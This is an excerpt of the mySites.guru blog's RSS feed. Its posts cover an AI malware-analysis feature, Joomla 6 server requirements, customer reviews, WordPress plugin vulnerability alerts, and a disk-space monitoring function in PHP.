&lt;li&gt;Get API keys from &lt;a href=&quot;https://console.anthropic.com/&quot;&gt;Anthropic&lt;/a&gt; (for Claude) or &lt;a href=&quot;https://platform.openai.com/&quot;&gt;OpenAI&lt;/a&gt; (for GPT)&lt;/li&gt;
&lt;li&gt;Navigate to Account &amp;gt; AI Integration in mySites.guru, toggle &quot;Enable AI Features&quot;, add your API key(s), and choose your preferred provider&lt;/li&gt;
&lt;li&gt;Start analyzing - AI icons appear throughout File Manager, Suspect Content, and Modified Files tools&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What does it cost?&lt;/h2&gt;
&lt;p&gt;We do not charge you for this integration - like everything in mySites.guru, you pay your monthly subscription and I invest DAILY into the best platform available today - just like I have done since launching in 2012, &lt;strong&gt;without a single price increase since we launched!&lt;/strong&gt; Name me another service that does that?&lt;/p&gt;
&lt;p&gt;To use AI analysis, you provide your own API keys from Anthropic (Claude) or OpenAI (GPT). Your data goes directly to your chosen provider using your own account-mySites.guru never charges for AI usage and your API keys are encrypted for your security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Typical costs&lt;/strong&gt;: $0.01-0.05 per file analysis, paid directly to Anthropic or OpenAI.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The advantage&lt;/strong&gt;: Global caching means you rarely pay twice. Same file content across all your sites = one analysis, infinite reuse. Someone else already analyzed that WordPress plugin? You get cached results at zero cost.&lt;/p&gt;
&lt;p&gt;For most users managing typical site portfolios, monthly AI costs are minimal-often less than one security audit consultation.&lt;/p&gt;
&lt;h2&gt;Get Started&lt;/h2&gt;
&lt;p&gt;AI-Powered Malware Analysis is available now for all mySites.guru users.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Log in to your account&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Enable AI Features in Account → AI Integration&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start analyzing files&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Questions?&lt;/strong&gt; Email phil@phil-taylor.com&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;This feature is covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>malware</category><category>ai</category><category>hack detection</category><enclosure url="https://mysites.guru/_astro/Relax-We-have-got-you-covered.BJbikDhB.webp" length="0" type="image/webp"/></item><item><title>Joomla 6 Technical Requirements (2026)</title><link>https://mysites.guru/blog/joomla-6-technical-requirements/</link><guid isPermaLink="true">https://mysites.guru/blog/joomla-6-technical-requirements/</guid><description>Joomla 6 requires PHP 8.3+, MySQL 8.0.13+, or MariaDB 10.4+. Check if your server is ready in 30 seconds with our free bulk compatibility scanner.</description><pubDate>Wed, 15 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;div class=&quot;not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm&quot;&amp;gt;
&amp;lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; viewBox=&quot;0 0 512 512&quot; class=&quot;w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5&quot;&amp;gt;&amp;lt;path d=&quot;M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z&quot;/&amp;gt;&amp;lt;/svg&amp;gt;
&amp;lt;p class=&quot;text-neutral-700 dark:text-neutral-300 m-0&quot;&amp;gt;Updated 2 March 2026 with new information including corrected MariaDB minimum version and latest PHP details.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;Joomla 6.0.0 was released on 14th October 2025, and it introduced a new strict &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;joomla technical requirements&lt;/a&gt; minimum of &lt;strong&gt;MySQL 8.0.13, MariaDB 10.4.0 and PHP 8.3.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The mySites.guru tool for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements - Hosting Check&lt;/a&gt; is a feature of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription at mySites.guru&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What does the Joomla project say?&lt;/h2&gt;
&lt;p&gt;Not much &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;other than this page&lt;/a&gt; (which ironically still states this is for an unreleased upcoming version when infact Joomla 6 has now been released)&lt;/p&gt;
&lt;p&gt;This page is also confusing as it has a &quot;Required&quot; version of MariaDB and PostgreSQL that is less than the &quot;Minimum&quot;... strange.&lt;/p&gt;
&lt;p&gt;[edit:] Note that even the Joomla Project don&apos;t seem to understand or believe these versions are correct, but hey ho, &lt;a href=&quot;https://github.com/joomla/Manual/pull/540#issuecomment-3412511119&quot;&gt;https://github.com/joomla/Manual/pull/540&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;[edit:] It seems the &quot;Minimum Versions&quot; are guaranteed to work and are required for upgrades and the &quot;Required Versions&quot; &quot;May work for new new installs&quot;&lt;/p&gt;
&lt;p&gt;[edit:] After release, the Joomla project lowered the minimum MariaDB version from 10.6 to 10.4 in the official documentation.&lt;/p&gt;
&lt;p&gt;[edit:] &lt;strong&gt;Clear as mud&lt;/strong&gt;. However we will keep this page, and the tools in mySites.guru, up to date with the published, documented, versions from the official Joomla project which can be found here: &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;https://manual.joomla.org/docs/next/get-started/technical-requirements/&lt;/a&gt; (Which also currently states Joomla 6.0 is the upcoming version and not yet released - go figure...)&lt;/p&gt;
&lt;h2&gt;What does the Joomla 6 hosting check show?&lt;/h2&gt;
&lt;p&gt;The mySites.guru tool for &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements - Hosting Check&lt;/a&gt; is a feature of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription at mySites.guru&lt;/a&gt; - no additional charge was made and this new feature added for free into all account.&lt;/p&gt;
&lt;p&gt;Here&apos;s what the dashboard looks like:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Where to find the Joomla 6 Technical Requirements tool in mySites.guru?&lt;/h2&gt;
&lt;p&gt;You can get to the tool quickest by &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;invoking the command palette&lt;/a&gt; with &lt;a href=&quot;https://mysites.guru/blog/our-command-palette-navigation-with-cmdk/&quot;&gt;cmd k&lt;/a&gt; (or ctrl k on windows/linux) and typing &quot;Joomla 6&quot; or &quot;compat&quot; to filter the commands and then enter. This will take you direct to the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;Joomla 6 Technical Requirements tool&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;*The mySites.guru command palette - filtered *&lt;/p&gt;
&lt;p&gt;An even quicker way is to just press c 6 on the keyboard (that is lowercase c and then the number 6) - that is the &lt;a href=&quot;https://manage.mysites.guru/en/help/keyboardshortcuts&quot;&gt;keyboard shortcut&lt;/a&gt; to the page in mySites.guru!!&lt;/p&gt;
&lt;p&gt;The direct url is: &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;https://manage.mysites.guru/en/tools/joomla6/compatibility&lt;/a&gt; (Obviously you need to be logged in for that to work)&lt;/p&gt;
&lt;p&gt;As you can see the tool clearly lists all your Joomla 4, Joomla 5 and Joomla 6 sites, along with the currently installed Joomla version, the web server hostname, the update channel enabled, and the server hosting PHP version and Database type (MySQL or MariaDB) and version number.&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server meets the MINIMUM this will be highlighted with Yellow The MINIMUM Joomla 6 Technical Requirements are: &lt;strong&gt;PHP 8.3.0, MySQL 8.0.13 or MariaDB 10.4.0.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server meets the RECOMMENDED this will be highlighted with Green The RECOMMENDED Joomla 6 Technical Requirements are: &lt;strong&gt;PHP 8.4+, MySQL 8.4+ or MariaDB 12.0+&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your PHP or Database Server doesn&apos;t meet the MINIMUM technical requirements this will be highlighted with Red&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What is the update channel?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://docs.joomla.org/Help310:Components_Joomla_Update_Configuration&quot;&gt;Joomla has 3 main update channels&lt;/a&gt;&lt;/strong&gt; - the &lt;strong&gt;Default&lt;/strong&gt;, **Joomla Next **and &lt;strong&gt;Testing&lt;/strong&gt;. It is &lt;strong&gt;highly recommended that you leave your production websites on the default setting&lt;/strong&gt; - this will prevent you accidentally applying major updates to Joomla core. Separately, Joomla 5.4+ and 6.0+ also introduced &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;automated core updates&lt;/a&gt; that can apply patches without admin intervention - if you manage client sites, you should disable that too.&lt;/p&gt;
&lt;p&gt;Joomla &quot;Next&quot; channel allows to switch between major releases. From 4 to 5 to 6 for example.&lt;/p&gt;
&lt;p&gt;Testing is as its name suggests. For use in testing releases prior to release by experienced developers.&lt;/p&gt;
&lt;h2&gt;What are the Joomla 6 minimum technical requirements?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;absolute minimum versions that can be installed&lt;/a&gt; on a server to run Joomla 6 are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;PHP 8.3.0 (also standard modules like json, simplexml, dom, gd, mysqlnd needed)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MySQL 8.0.13 or MariaDB 10.4.0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;This article (and most of the Joomla Community!) ignore the Postgres compatibility as not many people use that database server - but the minimum for PostgreSQL is 12.0&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What are the Joomla 6 recommended technical requirements?&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;RECOMMENDED versions to be installed to run Joomla 6&lt;/a&gt; are &quot;the latest PHP version and the latest MySQL/MariaDB&quot; version - haha - but no seriously, there is no reason to be not running the latest versions of PHP in 2026!&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://manual.joomla.org/docs/next/get-started/technical-requirements/&quot;&gt;&quot;official&quot; recommended is PHP 8.4 and MySQL 8.4/MariaDB 12&lt;/a&gt; - but of course over time these will probably increase - for example at the time of writing PHP 8.5 is the latest stable PHP version available, &lt;a href=&quot;https://www.php.net/supported-versions&quot;&gt;https://www.php.net/supported-versions&lt;/a&gt; for full PHP details.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What if my web host doesn&apos;t meet the minimum standards?&lt;/h2&gt;
&lt;p&gt;If your webhost doesn&apos;t have the minimum standards for Joomla 6 hosting then you should really consider moving - the MySQL 8 and PHP 8.4 requirements are standard at this point.&lt;/p&gt;
&lt;p&gt;MySQL 8.0.13 was released in October 2018 - so that&apos;s over 7 years ago - if your web host has not upgraded their MySQL server in the last 5 years then maybe they are not the most secure and reliable partner for your web site... #justsaying&lt;/p&gt;
&lt;h2&gt;What is the supported version of MySQL by Oracle?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://endoflife.date/mysql&quot;&gt;https://endoflife.date/mysql&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;mysql 5.6 extended support ended in 2021 and mysql 5.7 extended support ended.... 31st October 2023.&lt;/p&gt;
&lt;p&gt;Only MySQL 8.4 (LTS) and 9.4.* series are actually supported by Oracle now.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;What if my site is stuck on Joomla 3 - how do I secure Joomla 3?&lt;/h2&gt;
&lt;p&gt;You can look at the new tool which &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Fixes all Joomla 3 security issues&lt;/a&gt; with a single click, in the mySites.guru snapshot.&lt;/p&gt;
&lt;h2&gt;How do Joomla 5 and Joomla 6 requirements compare?&lt;/h2&gt;
&lt;p&gt;Upgrading from Joomla 5? Here&apos;s a side-by-side comparison of what changed:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Requirement&lt;/th&gt;
&lt;th&gt;Joomla 5 Minimum&lt;/th&gt;
&lt;th&gt;Joomla 6 Minimum&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PHP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.1.0&lt;/td&gt;
&lt;td&gt;8.3.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MySQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;8.0.13&lt;/td&gt;
&lt;td&gt;8.0.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;MariaDB&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;10.4.0&lt;/td&gt;
&lt;td&gt;10.4.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PostgreSQL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;td&gt;12.0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The database requirements stayed the same between Joomla 5 and 6. The main change is PHP: Joomla 6 requires PHP 8.3 or higher, up from PHP 8.1 in Joomla 5. If your server already runs PHP 8.3+, you&apos;re ready to upgrade.&lt;/p&gt;
&lt;p&gt;The recommended versions for Joomla 6 are PHP 8.4, MySQL 8.4, and MariaDB 12 - all higher than Joomla 5&apos;s recommendations of PHP 8.2, MySQL 8.1, and MariaDB 11.1.&lt;/p&gt;
&lt;p&gt;Use the &lt;a href=&quot;https://manage.mysites.guru/en/tools/joomla6/compatibility&quot;&gt;mySites.guru compatibility checker&lt;/a&gt; to scan all your sites at once and see exactly which ones are ready for the upgrade.&lt;/p&gt;
&lt;h2&gt;Questions?&lt;/h2&gt;
&lt;p&gt;Happy to answer questions if you have any, use the &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;contact form&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Or you can ask the Joomla project direct.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Joomla 6 planning is part of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 6</category><category>php</category><category>hosting</category><enclosure url="https://mysites.guru/_astro/Add-a-heading.BaC30Qp2.webp" length="0" type="image/webp"/></item><item><title>What Users Really Think of mySites.guru</title><link>https://mysites.guru/blog/mysites-guru-reviews/</link><guid isPermaLink="true">https://mysites.guru/blog/mysites-guru-reviews/</guid><description>What agencies and site owners actually say about managing their Joomla and WordPress sites with mySites.guru. Named reviewers only, no anonymous testimonials.</description><pubDate>Sun, 17 Nov 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Every review on our &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; is from a real person with a real name. No anonymous testimonials, no paid placements. I wanted to pull out some of the recurring themes.&lt;/p&gt;
&lt;h2&gt;People stop thinking of it as a subscription&lt;/h2&gt;
&lt;p&gt;This is the thing I hear most. Alexander I. runs an agency and told us mySites.guru feels more like infrastructure than a subscription at this point. Stephen Dillon at Invisible Stuff has been paying for it for over 10 years and says it&apos;s the best value tool they have.&lt;/p&gt;
&lt;p&gt;Ten years is a long time to keep paying for something. Nobody does that out of inertia.&lt;/p&gt;
&lt;h2&gt;The time savings are real&lt;/h2&gt;
&lt;p&gt;Anne Notarthomas at eKamria uses it daily for &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;one-click logins&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;backup scheduling&lt;/a&gt;, uptime monitoring, and general maintenance. She says it saves her untold hours every month.&lt;/p&gt;
&lt;p&gt;Daniel Östgård manages about 200 Joomla and WordPress sites and describes it as saving &quot;oceans of time.&quot; At that scale, running updates manually would take days. Through mySites.guru it takes minutes.&lt;/p&gt;
&lt;h2&gt;You don&apos;t need to be technical&lt;/h2&gt;
&lt;p&gt;Nick Lucas is a CEO with 7 sites. He&apos;s self-taught, not a developer. He told us mySites.guru showed him security problems he had no idea existed. The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit tools&lt;/a&gt; flag issues in plain language, so you don&apos;t need to know what a CVE number means to act on them.&lt;/p&gt;
&lt;p&gt;That said, developers get plenty out of it too. Adam Haworth moved his agency from WP Umbrella because he wanted more control over security, specifically. He got it.&lt;/p&gt;
&lt;h2&gt;Does it treat Joomla and WordPress equally?&lt;/h2&gt;
&lt;p&gt;Most management tools are WordPress-only, or they bolt Joomla on as an afterthought. mySites.guru treats both equally, which matters if you have a mixed portfolio.&lt;/p&gt;
&lt;p&gt;Emanuel manages about 50 Joomla sites and says the tools cover almost any use case he&apos;s thrown at them. Krisztina, a freelance Joomla developer, has been using it since 2015. She originally signed up to clean malware off a server full of hacked sites, then kept using it for day-to-day management. Andrés Restrepo works primarily with Joomla 5.x and says it changed how he works.&lt;/p&gt;
&lt;h2&gt;What did WPMayor rate it?&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://wpmayor.com&quot;&gt;WPMayor.com&lt;/a&gt; did an independent review and gave mySites.guru 4.6 out of 5 stars. Worth reading if you want an outside perspective.&lt;/p&gt;
&lt;h2&gt;Where can you read all the reviews?&lt;/h2&gt;
&lt;p&gt;These are just a few. The &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt; has them all, or you can &lt;a href=&quot;https://manage.mysites.guru&quot;&gt;leave your own&lt;/a&gt; if you&apos;re already a user.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>Reviews</category><enclosure url="https://mysites.guru/_astro/mysites-guru-reviews.CT83vcib.png" length="0" type="image/png"/></item><item><title>WordPress Plugin Vulnerability Alerting</title><link>https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/</link><guid isPermaLink="true">https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/</guid><description>mySites.guru cross-references every WordPress plugin on your sites against Wordfence, CVE and custom threat databases, flagging vulnerable plugins instantly.</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Outdated plugins are the most common way WordPress sites get compromised. If you suspect a vulnerable plugin has already been exploited, &lt;a href=&quot;https://mysites.guru/blog/is-my-wordpress-site-hacked/&quot;&gt;check whether your site has been hacked&lt;/a&gt; first - and if it has, the &lt;a href=&quot;https://mysites.guru/wordpress-hacked/&quot;&gt;WordPress hacked recovery guide&lt;/a&gt; covers what to do next. mySites.guru checks every plugin version on your connected sites against known vulnerability databases and flags the ones that need attention.&lt;/p&gt;
&lt;h2&gt;How does WordPress vulnerability detection work?&lt;/h2&gt;
&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; runs twice a day on each connected site, collecting a list of every installed plugin and its version number.&lt;/p&gt;
&lt;p&gt;That list gets compared against several threat intelligence sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence vulnerability data&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/&quot;&gt;CVE and Mitre datasets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Custom vulnerability lists and internal threat data built up over 12+ years&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If a plugin version on your site matches a known vulnerability, it gets flagged immediately. A recent example: the &lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 arbitrary file read vulnerability&lt;/a&gt; affected over 800,000 installs and was picked up automatically for any connected site running a vulnerable version. March 2026 was a particularly active month - &lt;a href=&quot;https://mysites.guru/blog/four-wordpress-plugins-security-patches-march-2026/&quot;&gt;Elementor, Yoast SEO, WPForms, and Really Simple Security&lt;/a&gt; all shipped security patches in the same window, giving agencies managing large WordPress portfolios a lot to track at once.&lt;/p&gt;
&lt;h2&gt;What do WordPress vulnerability alerts look like?&lt;/h2&gt;
&lt;p&gt;On the main sites page, vulnerable sites are marked so you can spot them at a glance:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Click into an individual site and you get the specifics - which plugins are affected, what the vulnerability is, and a link to the full disclosure:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How do you fix vulnerable WordPress plugins?&lt;/h2&gt;
&lt;p&gt;In most cases, updating the plugin to the latest version is the fix. Plugin authors typically patch vulnerabilities in new releases, so staying current is the single best thing you can do.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;best practice checks&lt;/a&gt; in mySites.guru will also flag other security hygiene issues - outdated PHP versions, debug mode left on, missing security headers - that compound the risk from vulnerable plugins. You should also &lt;a href=&quot;https://mysites.guru/blog/enforce-minor-upgrades-only-wordpress/&quot;&gt;enforce minor-only core updates&lt;/a&gt; so that WordPress keeps applying security patches without risking a major version jump that breaks plugin compatibility.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-amber-900 dark:text-amber-200&quot;&amp;gt;⚠️ What about zero-days?&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-amber-800 dark:text-amber-300&quot;&amp;gt;Zero-day vulnerabilities have no public disclosure yet, so no scanner can catch them before they&apos;re known. Once a vulnerability hits Wordfence, CVE, or another public database, mySites.guru picks it up on the next snapshot cycle - typically within 12 hours.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;How do you update vulnerable WordPress plugins across all your sites?&lt;/h2&gt;
&lt;p&gt;Finding the vulnerability is half the job. Fixing it across 50 or 200 sites is where the time goes. If you&apos;ve &lt;a href=&quot;https://mysites.guru/blog/stop-automatic-updates-wordpress-one-click/&quot;&gt;disabled automatic updates&lt;/a&gt; to keep control over what runs on your sites, you&apos;ll want to push vulnerable plugin updates manually as soon as a patch is available.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass plugin updater&lt;/a&gt; lets you select every site running a vulnerable plugin version and push the update in one batch:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can also &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass install a replacement plugin&lt;/a&gt; if the vulnerable extension has been abandoned and you need to swap it out entirely.&lt;/p&gt;
&lt;h2&gt;What do you do when a WordPress plugin has no patch available?&lt;/h2&gt;
&lt;p&gt;Sometimes a vulnerability gets disclosed before the author releases a fix. In that case:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Deactivate the plugin&lt;/strong&gt; on affected sites if it&apos;s not critical to functionality&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Set up &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time file alerts&lt;/a&gt;&lt;/strong&gt; so you&apos;ll know immediately if someone exploits it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Run a &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;security audit&lt;/a&gt;&lt;/strong&gt; to check whether the vulnerability has already been used - or use the &lt;a href=&quot;https://mysites.guru/wordpress-malware-scanner/&quot;&gt;WordPress malware scanner&lt;/a&gt; for a focused scan&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Monitor the plugin&apos;s changelog&lt;/strong&gt; - mySites.guru will automatically clear the alert once an updated version is installed&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the plugin stays unpatched for an extended period, that&apos;s usually a sign it&apos;s been abandoned. Time to find an alternative.&lt;/p&gt;
&lt;h2&gt;Why does WordPress plugin security matter at scale?&lt;/h2&gt;
&lt;p&gt;One WordPress site with one vulnerable plugin is a manageable risk. But if you&apos;re managing 100+ client sites with 15-20 plugins each, that&apos;s a lot of versions to track. Nobody&apos;s doing that by hand. The &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;WordPress vulnerability scanner&lt;/a&gt; page covers exactly how mySites.guru handles this at scale, with detail on the threat databases and detection cycle.&lt;/p&gt;
&lt;p&gt;mySites.guru runs these checks automatically, twice a day, across every connected site. When something needs attention, you see it on your dashboard - not three months later when a client calls to say their site is defaced.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on any WordPress site to see what mySites.guru finds.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Vulnerability management is a key part of our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;agency security guide&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>security</category><category>plugins</category><category>vulnerability</category><category>alerts</category><enclosure url="https://mysites.guru/_astro/Relax-We-have-got-you-covered-1.DRc_vBKX.webp" length="0" type="image/webp"/></item><item><title>Web Server disk space monitoring</title><link>https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/</link><guid isPermaLink="true">https://mysites.guru/blog/about-the-disk-space-warnings-in-mysites-guru/</guid><description>mySites.guru monitors your server&apos;s real disk partition usage twice daily and alerts you before it fills up - even if your hosting quota looks fine.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The mySites.guru &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; monitors your server&apos;s actual disk partition usage - not your virtual hosting quota - and warns you before it fills up. Some web hosts don&apos;t surface this information at all.&lt;/p&gt;
&lt;h2&gt;What does mySites.guru measure (and why)?&lt;/h2&gt;
&lt;p&gt;Every time mySites.guru takes a snapshot of your site (twice daily, or on demand), it calls two standard PHP functions that have existed since PHP 4.1.0:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/disk_free_space&quot;&gt;&lt;code&gt;disk_free_space&lt;/code&gt;&lt;/a&gt; - returns available space on the filesystem or disk partition&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.php.net/disk_total_space&quot;&gt;&lt;code&gt;disk_total_space&lt;/code&gt;&lt;/a&gt; - returns the total size of the filesystem or disk partition&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From those two numbers, we calculate space used and percentage used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function getDiskSpace()
{
    if (! function_exists(&apos;disk_free_space&apos;) || ! function_exists(&apos;disk_total_space&apos;)) {
        return json_encode(array());
    }

    $data = array(
        &apos;free&apos;  =&amp;gt; disk_free_space(JPATH_BASE),
        &apos;total&apos; =&amp;gt; disk_total_space(JPATH_BASE),
    );

    $data[&apos;used&apos;] = $data[&apos;total&apos;] - $data[&apos;free&apos;];
    $data[&apos;percentUsed&apos;] = sprintf(&apos;%.2f&apos;, ($data[&apos;used&apos;] / $data[&apos;total&apos;]) * 100);

    $data[&apos;free&apos;]  = $this-&amp;gt;formatSize($data[&apos;free&apos;]);
    $data[&apos;total&apos;] = $this-&amp;gt;formatSize($data[&apos;total&apos;]);
    $data[&apos;used&apos;]  = $this-&amp;gt;formatSize($data[&apos;used&apos;]);

    return json_encode($data);
}
